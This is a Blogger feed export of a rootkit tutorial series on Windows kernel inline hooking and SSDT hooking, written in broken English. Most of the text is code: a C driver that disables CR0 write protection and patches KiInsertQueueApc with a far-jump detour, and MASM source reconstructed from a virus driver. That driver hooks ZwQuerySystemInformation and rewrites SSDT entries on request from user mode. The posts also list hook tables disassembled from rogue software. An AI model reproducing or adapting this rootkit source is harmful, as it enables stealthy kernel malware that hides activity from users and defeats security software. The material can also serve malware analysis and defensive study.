tag:blogger.com,1999:blog-10001514278070743212024-02-18T21:39:02.312-08:000tutorialsUnpacking Tutorials,Programming Tutorials,Kernel Tutorials,Reverse Engineering Tutorialsview4822http://www.blogger.com/profile/14601984873144504319noreply@blogger.comBlogger76125tag:blogger.com,1999:blog-1000151427807074321.post-41321998162810048132011-10-13T08:36:00.000-07:002011-10-13T08:36:13.277-07:00Learn and study Rootkit Specials 9: kernel hook - inline hook(2)3)Two-dimensional array is used to save function front byte, Array form is array[15][30];<br />
Each function have 30 bytes usable on 15 function. First save orginal function front byte on 30 bytes, Then write 0xe9, Continue write array current place with original hook function address offset that we already copy bytecode after place among re;atove offset value.<br />
The array effect, when after hook function, execute to finish our hook function, Then need recover original api function, Because original api function front five bytes already is rewrite, function original front byte already save to appropriate array, So there idea is, execute machine code on the array, array machine code execute to the end, jump to original function some offset place, continue to execute.<br />
<br />
3. Inline hook<br />
1) IoAllocateMdl
,Allocate one mdl, Hook function is mapping to here.<br />
2) MmProbeAndLockPages, Lock page<br />
3)
do away with write-protect<br />
4) Save function front machine code to homologous two-dimensional array, rewrite front five bytes, Let is jump to start address on .data:00034E98 jump table homologous jump function.<br />
5)
Recover write-protect<br />
6) MmUnlockPages<br />
7) IoFreeMdl<br />
<br />
<br />
4.
Revover After Inline hook<br />
<br /><br />
The example is hook了KiInsertQueueApc, Because KiInsertQueueApc isn't export, need find on KeInsetQueueApc.<br />
#include <ntddk.h> <br />
#include
<ntifs.h><br />
ULONG g_KiInsertQueueApc;<br />
char g_oricode[8];<br />
ULONG
g_uCr0;<br />
char *non_paged_memory;<br />
<br />
void WPOFF()<br />
{<br />
<br />
ULONG uAttr;<br />
<br />
_asm<br />
{<br />
push eax;<br />
mov eax, cr0;<br />
mov uAttr, eax;<br />
and eax, 0FFFEFFFFh; // CR0 16 BIT = 0<br />
mov cr0, eax;<br />
pop eax;<br />
cli<br />
};<br />
<br />
g_uCr0 =
uAttr; //Save original CR0<br />
<br />
}<br />
<br />
VOID WPON()<br />
{<br />
<br />
_asm<br />
{<br />
sti<br />
push eax;<br />
mov eax, g_uCr0; //Recover orginal CR <br />
mov cr0, eax;<br />
pop eax;<br />
};<br />
<br />
}<br />
<br />
__declspec(naked)
my_function_detour_KiInsertQueueApc()<br />
{<br />
__asm<br />
{ <br />
mov edi,edi<br />
push ebp<br />
mov ebp, esp<br />
push ecx<br />
mov eax,ecx<br />
_emit 0xEA<br />
_emit
0xAA<br />
_emit 0xAA<br />
_emit 0xAA<br />
_emit 0xAA<br />
_emit 0x08<br />
_emit 0x00<br />
}<br />
}<br />
<br />
ULONG
GetFunctionAddr( IN PCWSTR FunctionName)<br />
{<br />
UNICODE_STRING UniCodeFunctionName;<br />
RtlInitUnicodeString(
&UniCodeFunctionName, FunctionName );<br />
return
(ULONG)MmGetSystemRoutineAddress( &UniCodeFunctionName ); <br />
<br />
}<br />
<br />
//
根据特征值,从KeInsertQueueApc搜索中搜索KiInsertQueueApc<br />
ULONG
FindKiInsertQueueApcAddress()<br />
{<br />
char *
Addr_KeInsertQueueApc = 0;<br />
int i = 0;<br />
char Findcode[] = {
0xE8, 0xcc, 0x29, 0x00, 0x00 };<br />
ULONG Addr_KiInsertQueueApc =
0;<br />
Addr_KeInsertQueueApc = (char *)
GetFunctionAddr(L"KeInsertQueueApc");<br />
for(i = 0; i < 100; i
++)<br />
{<br />
if( Addr_KeInsertQueueApc[i] == Findcode[0]
&&<br />
Addr_KeInsertQueueApc[i + 1] == Findcode[1]
&&<br />
Addr_KeInsertQueueApc[i + 2] == Findcode[2]
&&<br />
Addr_KeInsertQueueApc[i + 3] == Findcode[3]
&&<br />
Addr_KeInsertQueueApc[i + 4] == Findcode[4] <br />
)<br />
{<br />
Addr_KiInsertQueueApc =
(ULONG)&Addr_KeInsertQueueApc[i] + 0x29cc + 5;<br />
break;<br />
}<br />
}<br />
return Addr_KiInsertQueueApc;<br />
}<br />
<br />
VOID
DetourFunctionKiInsertQueueApc()<br />
{<br />
<br />
char
*actual_function = (char *)g_KiInsertQueueApc;<br />
unsigned long
detour_address;<br />
unsigned long reentry_address;<br />
KIRQL
oldIrql;<br />
int i = 0;<br />
<br />
char newcode[] = { 0xEA,
0x44, 0x33, 0x22, 0x11, 0x08, 0x00, 0x90 };<br />
<br />
reentry_address = ((unsigned long)g_KiInsertQueueApc) + 8; <br />
<br />
non_paged_memory = ExAllocatePool(NonPagedPool, 256);<br />
<br />
for(i=0;i<256;i++)<br />
{<br />
((unsigned char
*)non_paged_memory)[i] = ((unsigned char
*)my_function_detour_KiInsertQueueApc)[i];<br />
}<br />
<br />
detour_address = (unsigned long)non_paged_memory;<br />
<br />
*(
(unsigned long *)(&newcode[1]) ) = detour_address;<br />
<br />
for(i=0;i<200;i++)<br />
{<br />
if( (0xAA == ((unsigned char
*)non_paged_memory)[i]) &&<br />
(0xAA == ((unsigned char
*)non_paged_memory)[i+1]) &&<br />
(0xAA == ((unsigned
char *)non_paged_memory)[i+2]) &&<br />
(0xAA ==
((unsigned char *)non_paged_memory)[i+3]))<br />
{<br />
*(
(unsigned long *)(&non_paged_memory[i]) ) = reentry_address;<br />
break;<br />
}<br />
}<br />
<br />
<br />
oldIrql =
KeRaiseIrqlToDpcLevel();<br />
for(i=0;i < 8;i++)<br />
{<br />
g_oricode[i] = actual_function[i];<br />
actual_function[i] =
newcode[i];<br />
}<br />
KeLowerIrql(oldIrql);<br />
}<br />
<br />
VOID
UnDetourFunction()<br />
{<br />
char *actual_function = (char
*)g_KiInsertQueueApc;<br />
KIRQL oldIrql;<br />
int i = 0;<br />
<br />
WPOFF();<br />
oldIrql = KeRaiseIrqlToDpcLevel();<br />
<br />
for(i=0;i < 8;i++)<br />
{<br />
actual_function[i] =
g_oricode[i];<br />
}<br />
KeLowerIrql(oldIrql);<br />
WPON();<br />
ExFreePool(non_paged_memory);<br />
}<br />
<br />
VOID
OnUnload( IN PDRIVER_OBJECT DriverObject )<br />
{<br />
DbgPrint("My
Driver Unloaded!");<br />
UnDetourFunction();<br />
}<br />
<br />
NTSTATUS
DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING
theRegistryPath )<br />
{<br />
DbgPrint("My Driver Loaded!");<br />
theDriverObject->DriverUnload = OnUnload;<br />
<br />
g_KiInsertQueueApc = FindKiInsertQueueApcAddress();<br />
DetourFunctionKiInsertQueueApc();<br />
<br />
return
STATUS_SUCCESS;<br />
}view4822http://www.blogger.com/profile/14601984873144504319noreply@blogger.com0tag:blogger.com,1999:blog-1000151427807074321.post-37629057862391068942011-10-12T07:21:00.000-07:002011-10-12T07:21:20.681-07:00Learn and study Rootkit Specials 8: kernel hook - inline hook(1)<div style="text-align: center;">
Author:combojiang</div>
<div style="text-align: left;">
Recently in order to write rootkit inline hook article, specially disassemble famous rougue software(cdnprot.sys), The file is huge - 152k, Take my some overnight, Let me less watch tv play, The software use many good technology, anyway, Technology isn't wrong itself. Because we talk theme about Inline hook today, only lead everybody watch how he use the technology of inline hook.<br />
<br />
What is inline hook, The basic concepts, We won't talk on here, May use google to search.<br />
Inline hook is used very easily and simple on ring3, but this is trouble on ring0,BSOD will show when wrong to use. We talk inline hook on kernel today, Let us watch that how to use.<br />
<br />
First talk thinking:<br />
<br />
1. One of the preparation before hook: <br />
In total hook fifteen native api function on the software. They are:<br />
ZwOpenKey , ZwClose, ZwQueryValueKey, ZwDeleteKey, ZwSetValueKey, ZwCreateKey,<br />
ZwDeleteValueKey. ZwEnumerateValueKey,ZwRestoreKey, ZwReplaceKey, ZwTerminateProcess, ZwSetSecurityObject, ZwCreateThread, ZwTerminateThread, ZwQuerySystemInformation.<br />
<br />
On the fifteen function, include two undocumented function, ZwCreateThread, ZwTerminateThread,The two function need find on export table from ntdll.dll. Other, All native api function finaly realize both on ntoskrnl module, So we use functional 0B number of fuZwQuerySystemInformation, find memory load place of ntoskrnl, Then one by one judge these need hook function address on ssdt table, Whether on place. Ensure to use first.<br />
<br />
2. One of the preparation before hook:<br />
1)One global function table, save need hook fifteen function original address.<br />
The table start address: .data:00036860, Ending: data:0003689C 60 bytes in total.<br />
2)One hook function address table, part corresponding to jump of hook fifteen function.<br />
The table start address: .data:00034E98<br />
.data:00034E98 off_34E98 dd offset sub_1EEA8 <br />
.data:00034E9C dd offset sub_1EE82<br />
.data:00034EA0 dd offset sub_1EF82<br />
.data:00034EA4 dd offset sub_1EF4A<br />
.data:00034EA8 dd offset sub_1EF6D<br />
.data:00034EAC dd offset sub_1EEC1<br />
.data:00034EB0 dd offset sub_1EED2<br />
.data:00034EB4 dd offset sub_1EEF5<br />
.data:00034EB8 dd offset sub_1EF31<br />
.data:00034EBC dd offset sub_1EF18<br />
.data:00034EC0 dd offset sub_1EF93<br />
.data:00034EC4 dd offset sub_1EFA8<br />
.data:00034EC8 dd offset sub_1EFBD<br />
.data:00034ECC dd offset sub_1EFE6<br />
.data:00034ED0 dd offset sub_1EFFF<br />
<br />
The function both realize on cdnprot.sys.<br />
<br />
<br /><br /></div>view4822http://www.blogger.com/profile/14601984873144504319noreply@blogger.com1tag:blogger.com,1999:blog-1000151427807074321.post-58989024363335784712011-10-11T08:22:00.000-07:002011-10-11T08:22:19.623-07:00Sorry,Can't updateBecause friend come in, So can't update, Sorry.view4822http://www.blogger.com/profile/14601984873144504319noreply@blogger.com0tag:blogger.com,1999:blog-1000151427807074321.post-32545174986476044182011-10-10T05:57:00.000-07:002011-10-10T05:57:02.669-07:00Too tried, Rest one day.I am work every day, Too tried, So rest one day.<br />
Sorry.view4822http://www.blogger.com/profile/14601984873144504319noreply@blogger.com0tag:blogger.com,1999:blog-1000151427807074321.post-7799557292139646482011-10-09T04:32:00.000-07:002011-10-09T04:32:12.972-07:00Learn and study Rootkit Specials 7: kernel hook - SSDT hook(3);**************************************************************************<br />
;
Give a index value and function address, Modify ssdt table<br />
;**************************************************************************<br />
HookSSDTByFunIndex
proc Value:dword,Index:dword<br />
<br />
mov ecx, Index<br />
mov eax, KeServiceDescriptorTable<br />
cmp ecx, [eax+8]
;NumberOfService<br />
jb @f<br />
xor al, al<br />
jmp Quit<br />
<br />
@@:<br />
;Put off write-protect<br />
push eax<br />
mov eax, cr0<br />
and eax, 0FFFEFFFFh<br />
mov cr0, eax<br />
pop eax<br />
<br />
mov eax, KeServiceDescriptorTable<br />
mov eax, [eax]<br />
mov
edx, Value; Value<br />
lea ecx, [eax+ecx*4] ; Target<br />
call
InterlockedExchange<br />
<br />
;Recover write-protect<br />
push eax<br />
mov eax, cr0<br />
or eax, 10000h<br />
mov cr0, eax<br />
pop
eax<br />
<br />
Quit:<br />
ret<br />
HookSSDTByFunIndex endp<br />
<br />
;**************************************************************************<br />
;
hook ZwQuerySystemInfomation,Replace with NtQuerySystemInformation, return original value<br />
;**************************************************************************<br />
HookSSDT
proc Value:dword,FunAddr:dword<br />
push eax<br />
;Put off write-protect<br />
mov eax, cr0<br />
and eax, 0FFFEFFFFh<br />
mov cr0, eax <br />
pop eax<br />
<br />
mov ecx, KeServiceDescriptorTable<br />
mov eax, FunAddr<br />
mov eax, [eax+1]
;Through ZwQuerySystemInfomation get ssdt index<br />
mov ecx, [ecx]
;ServiceTableBase<br />
mov edx, Value ; Value<br />
lea ecx,
[ecx+eax*4] ; Target<br />
call InterlockedExchange<br />
mov ecx,
eax<br />
push eax<br />
<br />
;recover write-protect<br />
mov eax, cr0<br />
or eax, 10000h<br />
mov cr0, eax<br />
<br />
pop eax<br />
mov eax, ecx<br />
ret<br />
HookSSDT endp<br />
<br />
<br />
SourceString
wchar L(<\\DosDevices\\Swk0217\0>)<br />
<br />
<br />
swkUnLoad
proc pDriverObject :dword<br />
LOCAL
DestinationString:UNICODE_STRING<br />
<br />
push ecx<br />
push ecx<br />
push offset SourceString ; SourceString<br />
lea
eax, DestinationString<br />
push eax ; DestinationString<br />
call RtlInitUnicodeString<br />
lea eax, DestinationString<br />
push eax ; SymbolicLinkName<br />
call IoDeleteSymbolicLink<br />
mov eax, pDriverObject <br />
push dword ptr [eax+4] ; DeviceObject<br />
call IoDeleteDevice<br />
<br />
ret<br />
swkUnLoad endp<br />
<br />
aNtquerysystemi
db 'NtQuerySystemInformation',0<br />
<br />
DispatchFunction:<br />
push esi <br />
mov esi, [esp+0Ch] ;pIrp<br />
mov eax, [esi+60h] ;Take IRP.CurrentStackLocation<br />
<br />
and
dword ptr [esi+18h], 0 ;IRP中的IoStatus zero setting,see ntddk.inc<br />
and
dword ptr [esi+1Ch], 0<br />
<br />
cmp byte ptr [eax], 0Eh
;IO_STACK_LOCATION.MajorFunction <br />
mov edx, [esi+0Ch]
;IRP.AssociatedIrp.SystemBuffer<br />
mov ecx, [eax+8]
;IO_STACK_LOCATION.Parameters.DeviceIoControl.InputBufferLength<br />
push edi<br />
jnz CreateAndClose<br />
mov eax, [eax+0Ch]
;IoControlCode<br />
cmp eax, 83471060h <br />
jz
GetSSDTNum ;Take out ssdt function count<br />
cmp eax, 83471064h<br />
jz
GetSSDTFunction ;Take out ssdt function table<br />
cmp eax, 83471068h<br />
jz
HookZwQuerySystemInformation ;hook ZwQuerySystemInformation<br />
cmp eax, 8347106Ch<br />
jz RestoreHookSSDT
;Recover front hook ZwQuerySystemInformation<br />
cmp eax, 83471070h<br />
jz ModifySSDTByFunIndex ;in line with user given function address and ssdt table index, modify ssdt table<br />
mov
dword ptr [esi+18h], 0C000000Dh ;IoStatus<br />
jmp CreateAndClose<br />
<br />
ModifySSDTByFunIndex:<br />
push 8<br />
pop edi<br />
cmp ecx, edi ;Judge InputBufferLength whether equal to 8<br />
jnz CreateAndClose<br />
push dword ptr [edx+4] ;The second dword value on SystemBuffer,represent a ssdt table index<br />
push dword ptr [edx] ;;The first dword value on SystemBuffer,represent given function address<br />
call HookSSDTByFunIndex<br />
test al, al<br />
jz CreateAndClose<br />
mov [esi+1Ch], edi<br />
jmp CreateAndClose<br />
<br />
RestoreHookSSDT:
;Recover ssdt table<br />
mov eax, OldSSDTValueOfZwQuerySystemInformation<br />
test eax, eax<br />
jz CreateAndClose<br />
mov ecx,
ZwQuerySystemInformation<br />
cmp eax, ecx<br />
jz HaveDone<br />
push ecx<br />
push eax<br />
call HookSSDT<br />
<br />
HaveDone:<br />
and OldSSDTValueOfZwQuerySystemInformation, 0<br />
jmp
CreateAndClose<br />
<br />
HookZwQuerySystemInformation:<br />
call near ptr FunctionArray+0Eh ;execute push
24h, through ZwQuerySystemInformation takce out ntoskrnl.exe memory load address<br />
test eax,
eax<br />
jz CreateAndClose<br />
push offset aNtquerysystemi ;
"NtQuerySystemInformation"<br />
push eax<br />
call
GetProcessFromNtoskrnl<br />
mov ecx, ZwQuerySystemInformation<br />
cmp eax, ecx<br />
jz CreateAndClose<br />
push ecx<br />
push eax<br />
call HookSSDT<br />
mov
OldSSDTValueOfZwQuerySystemInformation, eax ;Save function address of original ssdt table<br />
jmp
CreateAndClose<br />
<br />
GetSSDTFunction:<br />
mov eax,
KeServiceDescriptorTable<br />
mov edi, [eax+8] ;NumberOfService<br />
push ebx<br />
mov ebx, edi<br />
shl ebx, 2
;NumberOfService*4<br />
cmp ecx, ebx
;Compare import length with NumberOfService*4,Judge apply for buffer whether enough<br />
pop ebx<br />
jb
CreateAndClose<br />
xor ecx, ecx<br />
test edi, edi<br />
jbe
GetSSDTFunctionErr<br />
<br />
GetNextSSDTFunction:<br />
mov
eax, [eax]<br />
mov eax, [eax+ecx*4]<br />
mov [edx+ecx*4], eax<br />
mov eax, KeServiceDescriptorTable<br />
inc ecx<br />
cmp ecx,
[eax+8]<br />
jb GetNextSSDTFunction<br />
<br />
GetSSDTFunctionErr:<br />
mov eax, [eax+8]<br />
shl eax, 2<br />
jmp Quit<br />
<br />
GetSSDTNum:<br />
push 4<br />
pop eax<br />
cmp ecx, eax ;input length <4 jump<br />
jb
CreateAndClose<br />
mov ecx, KeServiceDescriptorTable<br />
mov
ecx, [ecx+8] ;NumberOfService<br />
mov [edx], ecx
;edx point IRP.AssociatedIrp.SystemBuffer<br />
<br />
Quit:<br />
mov
[esi+1Ch], eax<br />
<br />
CreateAndClose:<br />
mov edi,
[esi+18h] ;IoStatus<br />
xor dl, dl<br />
mov ecx, esi<br />
call IofCompleteRequest<br />
mov eax, edi<br />
pop edi<br />
pop esi<br />
ret<br />
<br />
<br />
wcharDeviceName wchar
L(<\\Device\\Swk0217\0>)<br />
wcharSymbolicLink wchar
L(<\\DosDevices\\Swk0217\0>)<br />
<br />
<br />
start
proc DriverObject:dword<br />
LOCAL SymbolicLinkName:UNICODE_STRING<br />
LOCAL DestinationString:UNICODE_STRING<br />
LOCAL DeviceObject:dword<br />
<br />
and DeviceObject, 0<br />
push esi<br />
push edi<br />
mov edi, RtlInitUnicodeString<br />
push offset wcharDeviceName ;
SourceString<br />
lea eax, DestinationString<br />
push eax ;
DestinationString<br />
call edi ; RtlInitUnicodeString<br />
mov esi, DriverObject<br />
lea eax, DeviceObject<br />
push
eax ; DeviceObject<br />
push 0 ; Exclusive<br />
push 0 ;
DeviceCharacteristics<br />
push 598347h ; DeviceType<br />
lea eax, DestinationString<br />
push eax ; DeviceName<br />
push 0 ; DeviceExtensionSize<br />
push esi ; DriverObject<br />
call IoCreateDevice<br />
test eax, eax<br />
jl @f<br />
push offset wcharSymbolicLink ; SourceString<br />
lea eax,
SymbolicLinkName<br />
push eax ; DestinationString<br />
call
edi ; RtlInitUnicodeString<br />
lea eax, DestinationString<br />
push eax ; DeviceName<br />
lea eax, SymbolicLinkName<br />
push eax ; SymbolicLinkName<br />
call IoCreateSymbolicLink<br />
mov ecx, offset DispatchFunction<br />
mov [esi+70h], ecx
;IRP_MJ_DEVICE_CONTROL<br />
mov [esi+40h], ecx ;IRP_MJ_CLOSE<br />
mov [esi+38h], ecx ;IRP_MJ_CREATE<br />
mov dword ptr [esi+34h],
offset swkUnLoad ;DriverObject.DriverUnLoad<br />
<br />
@@:<br />
pop edi<br />
pop esi<br />
ret<br />
start endp<br />
<br />
<br />
end
startview4822http://www.blogger.com/profile/14601984873144504319noreply@blogger.com0tag:blogger.com,1999:blog-1000151427807074321.post-77404865005390413232011-10-08T07:23:00.002-07:002011-10-08T07:23:47.933-07:00Learn and study Rootkit Specials 6: kernel hook - SSDT hook(2) ; Example: ImageName: windows\system32\ndis.sys, So ModuleNameOffset is
0x11 <br />
movzx eax, word ptr [esi+1Ah]
;SYSTEM_MODULE_INFORMATION.ModuleNameOffset ,Point offset of name<br />
lea eax, [eax+esi+1Ch] ;SYSTEM_MODULE_INFORMATION.ImageName +
SYSTEM_MODULE_INFORMATION.ModuleNameOffset<br />
push eax ;don't clude path name<br />
call _stricmp<br />
pop ecx ;出栈<br />
pop ecx<br />
test eax, eax<br />
jnz ContinueLoop<br />
mov eax, [esi+8] ;return SYSTEM_MODULE_INFORMATION.Base<br />
mov [ebp-24h], eax ;return save on [ebp-24h]<br />
<br />
ReleaseMemory:<br />
push edi<br />
call ExFreePool<br />
jmp ERRORRET<br />
<br />
ContinueLoop:<br />
inc dword ptr [ebp-20h] ;Loop variable increas <br />
add esi, 11Ch ;Take next element of SYSTEM_MODULE_INFORMATION type<br />
mov [ebp-2Ch], esi ;Temporary save current SYSTEM_MODULE_INFORMATION element<br />
jmp FORLOOP<br />
<br />
<br />
SehFunction proc near <br />
mov esp, [ebp-18h]<br />
ERRORRET::
<br />
or dword ptr [ebp-4], 0FFFFFFFFh<br />
mov eax, [ebp-24h]<br />
ErrAllocMem:: <br />
ret<br />
SehFunction endp<br />
<br />
<br />
;********************************************************************************************<br />
; Equivalent to GetProcessAddress function, hModule point ntoskrnl.exe module, Find the PE export table,<br />
; Find function address of pFunctionName.<br />
; Operating principle: Traverse export table's AddressOfFunctions, Every take one function address, In line with it index of AddressOfFunctions中的<br />
;Traverse whole AddressOfNames table and AddressOfNameOrdinals table, Find sequence number to matched function with AddressOfFunctions<br />
;contrast function name and import paramter 2 whether identical, The same return current function address from AddressOfFunctions,<br />
;Different continue find ...<br />
;********************************************************************************************<br />
GetProcessFromNtoskrnl proc hModule:dword,FunctionName:dword<br />
<br />
LOCAL AddressOfNameOrdinals:dword;Function name index talbe<br />
LOCAL AddressOfNames:dword ;Function name address talbe<br />
LOCAL OutputTable:dword ;Export table address<br />
LOCAL AddressOfFunctions:dword ;Point export function address table point<br />
LOCAL pFunctionName:dword ;function name<br />
LOCAL i:dword ;loop variable<br />
LOCAL CurAddressOfNameOrdinals:dword ;Current function name serial number<br />
LOCAL CurAddressOfNames:dword ;Current function address<br />
LOCAL nIndex:dword ;loop variable<br />
LOCAL myFoundOutFunctionName:dword ;Function pointer is found from function address table<br />
LOCAL InputFunctionName:dword ;input function name pointer, point paramter 2<br />
LOCAL SecondCharacterOfFunctionName:byte<br />
LOCAL FirstCharacterOfFunctionName:byte<br />
<br />
mov edx, hModule<br />
mov eax, [edx+3Ch]<br />
add eax, edx ; point PEHeader<br />
cmp word ptr [edx], 5A4Dh ; 'MZ'<br />
jnz Quit<br />
cmp dword ptr [eax], 4550h ;'PE'<br />
jnz Quit<br />
mov eax, [eax+78h]<br />
add eax, edx ;point export<br />
mov OutputTable, eax<br />
<br />
mov edi, [eax+20h] ; IMAGE_EXPORT_DIRECTORY.AddressOfNames <br />
add edi, edx<br />
mov AddressOfNames, edi<br />
<br />
mov esi, [eax+1Ch] ;IMAGE_EXPORT_DIRECTORY.AddressOfFunctions<br />
add esi, edx<br />
mov AddressOfFunctions, esi<br />
<br />
mov ecx, [eax+24h] ;IMAGE_EXPORT_DIRECTORY.AddressOfNameOrdinals<br />
add ecx, edx<br />
mov AddressOfNameOrdinals, ecx<br />
<br />
and nIndex, 0<br />
mov edx, pFunctionName<br />
<br />
StartSearch:<br />
mov ebx, nIndex<br />
cmp ebx, [eax+14h] ;IMAGE_EXPORT_DIRECTORY.NumberOfFunctions<br />
jnb Quit<br />
<br />
cmp dword ptr [esi], 0 ;First function addresws judge whether null on AddressOfFunctions<br />
jz NextAddressOfFunction
;If null, Take next function on IMAGE_EXPORT_DIRECTORY.AddressOfFunctions table<br />
<br />
mov CurAddressOfNames, edi<br />
mov CurAddressOfNameOrdinals, ecx<br />
and i, 0<br />
<br />
StartFindFunctionFromAddressOfNames:<br />
mov ebx, i<br />
cmp ebx, [eax+18h] ;IMAGE_EXPORT_DIRECTORY.NumberOfNames <br />
jnb OutOfRange<br />
mov ebx, CurAddressOfNameOrdinals<br />
movzx ebx, word ptr [ebx]<br />
cmp ebx, nIndex
;Judge index from AddressOfFunctions to get whether fit AddressOfNameOrdinals get index<br />
jnz NextAddressOfNameOrdinals<br />
mov edx, CurAddressOfNames<br />
mov edx, [edx]<br />
add edx, hModule<br />
mov pFunctionName, edx ;Take function name<br />
<br />
OutOfRange:<br />
test edx, edx ;Judge whether null<br />
jz ContinueWork<br />
<br />
mov myFoundOutFunctionName, edx ;TS function name<br />
mov edx, FunctionName<br />
mov InputFunctionName, edx ;TS imput function name<br />
<br />
CompareFunctionName:<br />
mov edx, InputFunctionName<br />
mov dl, [edx]<br />
mov FirstCharacterOfFunctionName, dl<br />
mov ebx, myFoundOutFunctionName<br />
cmp dl, [ebx]<br />
jnz Different ;disaffinity<br />
test dl, dl ;Judge InputFunctionName whether null, if null, return first function address table<br />
jz RetCurrentFunctionAddress<br />
<br />
mov edx, InputFunctionName ;Contrast function name next character<br />
mov dl, [edx+1]<br />
mov SecondCharacterOfFunctionName, dl<br />
cmp dl, [ebx+1]<br />
jnz Different<br />
<br />
add InputFunctionName, 2<br />
add myFoundOutFunctionName, 2<br />
test dl, dl<br />
jnz CompareFunctionName<br />
<br />
RetCurrentFunctionAddress:<br />
xor edx, edx ;edx = 0,mean find correspond function<br />
jmp GetFunctionAddress<br />
<br />
NextAddressOfNameOrdinals:<br />
add CurAddressOfNames, 4<br />
add CurAddressOfNameOrdinals, 2<br />
inc i<br />
jmp StartFindFunctionFromAddressOfNames<br />
<br />
Different:<br />
sbb edx, edx<br />
sbb edx, 0FFFFFFFFh ;edx = 1,表示没有找到对应的函数,继续找<br />
<br />
GetFunctionAddress:<br />
test edx, edx<br />
jnz ContinueWork<br />
<br />
mov esi, [esi]<br />
add esi, hModule<br />
mov eax, esi ;return function address<br />
jmp Founded<br />
<br />
ContinueWork:<br />
xor edx, edx<br />
mov pFunctionName, edx<br />
<br />
NextAddressOfFunction:<br />
add esi, 4<br />
mov AddressOfFunctions, esi<br />
inc nIndex<br />
jmp StartSearch<br />
<br />
Quit:<br />
xor eax, eax <br />
Founded:<br />
ret<br />
GetProcessFromNtoskrnl endp<br />
<br />
<br />
view4822http://www.blogger.com/profile/14601984873144504319noreply@blogger.com0tag:blogger.com,1999:blog-1000151427807074321.post-62476178276839330002011-10-07T07:04:00.000-07:002011-10-07T07:04:16.090-07:00Learn and study Rootkit Specials 5: kernel hook - SSDT hook(1)<div style="text-align: center;">
Author:combojiang</div>
<div style="text-align: left;">
Talk about SSDT hook, before have article of <<SSDT Hook的妙用-对抗ring0 inline hook>> by 堕落天才, If do not understand basic concept, You can watch the article.</div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
Today we through example to learn how use, The example root in article by sudami.</div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
The virus use vbs to call driver for finish it. swk0217d's main feature: <br /><br />1.Take ssdt function count<br />2.Take all function on ssdt function table<br />3.hook ZwQuerySystemInformation<br />4.unhook ZwQuerySystemInformation<br />5.In line with user given function address and index of ssdt table, Modify ssdt table <br /><br />Note:<br />1)When hook ZwQuerySystemInformation is executed, First through ZwQuerySystemInformation to found place of ntosknrl.exe module memory load, Then through export table of ntosknrl.exe to find address of NtQuerySystemInformation. Then hook ZwQuerySystemInformation. Author of the virus main objective is prevent SSDT function to be load, So Author recover in here, Author need use this function, But afraid the function already is tampered.<br /><br />2)When unhook ZwQuerySystemInformation, Recover original ssdt after Virus author use to finish the function.<br /><br /><br />.386<br />.model flat,stdcall<br />option casemap:none<br /><br /><br />include w2k\ntstatus.inc<br />include w2k\ntddk.inc<br /><br />include w2k\ntoskrnl.inc<br />includelib C:\RadASM\masm32\lib\w2k\ntoskrnl.lib<br />include Swk0207.inc<br /><br />.data<br />unk_10B80 db 4Eh ; N<br /> db 0E6h ; ?<br /> db 40h ; @<br /> db 0BBh ; ?<br />OldSSDTValueOfZwQuerySystemInformation dd 0<br /><br />.code<br />; 6E 74 6F 73 6B 72 6E 6C 2E 65 78 65 00 CC 6A 24 = ntoskrnl.exe,0 int3 push 24h<br />FunctionArray dd 736F746Eh, 6C6E726Bh, 6578652Eh,246ACC00h<br /><br />;***********************************************************************************************<br />; ZwQuerySystemInformation get memory load address of ntoskrnl.exe</div>
<div style="text-align: left;">
;***********************************************************************************************<br /><br />;typedef struct _SYSTEM_MODULE_INFORMATION // Information Class 11<br />;{<br />; ULONG Reserved[2]; +0<br />; PVOID Base; +08h<br />; ULONG Size; +0ch<br />; ULONG Flags; +10h<br />; USHORT Index; +14h<br />; USHORT Unknown; +16h<br />; USHORT LoadCount; +18h<br />; USHORT ModuleNameOffset; +1Ah<br />; CHAR ImageName[256]; +1Ch<br />;} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;<br /><br />;typedef NTSTATUS ( __stdcall *ZWQUERYSYSTEMINFORMATION ) <br />; ( IN SYSTEM_INFORMATION_CLASS SystemInformationClass, <br />; IN OUT PVOID SystemInformation, <br />; IN ULONG SystemInformationLength, <br />; OUT PULONG ReturnLength OPTIONAL );<br /><br />;typedef struct _tagSysModuleList {<br />; ULONG ulCount;<br />; SYSTEM_MODULE_INFORMATION smi[1];<br />;} SYSMODULELIST, *PSYSMODULELIST;<br /><br />;用法如下:<br />;s = NtQuerySystemInformation( SystemModuleInformation, pRet,<br />;sizeof( SYSMODULELIST ), &nRetSize );<br /><br /> xor ebx, ebx<br /> mov [ebp-24h], ebx<br /> mov [ebp-4], ebx<br /> <br /> lea eax, [ebp-1Ch] <br /> push eax ;ReturnLength<br /> push ebx ;SystemInformationLength = 0<br /> lea eax, [ebp-20h] <br /> push eax ;SystemInformation<br /> push 0Bh ;SystemModuleInformation,ergodic module<br /> mov esi, ZwQuerySystemInformation<br /> call esi ; ZwQuerySystemInformation ,First call to get need buffer length<br /> <br /> mov [ebp-28h], eax<br /> cmp eax, 0C0000004h<br /> jnz ERRORRET<br /> <br /> push 206B6444h ; ' kdD' lable<br /> push dword ptr [ebp-1Ch] ;apply for length<br /> push ebx ;NonPagedPool<br /> call ExAllocatePoolWithTag<br /> mov edi, eax<br /> mov [ebp-30h], edi ;Keep return value<br /> <br /> cmp edi, ebx ;Judge return value whether is null<br /> jnz NextStep<br /> or dword ptr [ebp-4], 0FFFFFFFFh<br /> xor eax, eax<br /> jmp ErrAllocMem<br /> <br />NextStep:<br /> lea eax, [ebp-34h] ;ReturnLength<br /> push eax<br /> push dword ptr [ebp-1Ch] ;SystemInformationLength<br /> push edi ;SystemInformation<br /> push 0Bh ;SystemModuleInformation<br /> call esi ; ZwQuerySystemInformation<br /> mov [ebp-28h], eax<br /> <br /> cmp eax, ebx<br /> jl ReleaseMemory<br /> <br /> mov eax, [edi]<br /> mov [ebp-1Ch], eax ;Keep YSTEM_MODULE_INFORMATION element count by ZwQuerySystemInformation return<br /> lea esi, [edi+4] <br /> mov [ebp-2Ch], esi ;Save firt address array by SYSTEM_MODULE_INFORMATION return </div>
<div style="text-align: left;">
mov [ebp-20h], ebx ;Count variable zero clearing<br /> <br />FORLOOP:<br /> mov eax, [ebp-1Ch] ;Beging for loop<br /> cmp [ebp-20h], eax<br /> jnb ReleaseMemory<br /> push offset FunctionArray<br /> <br /></div>
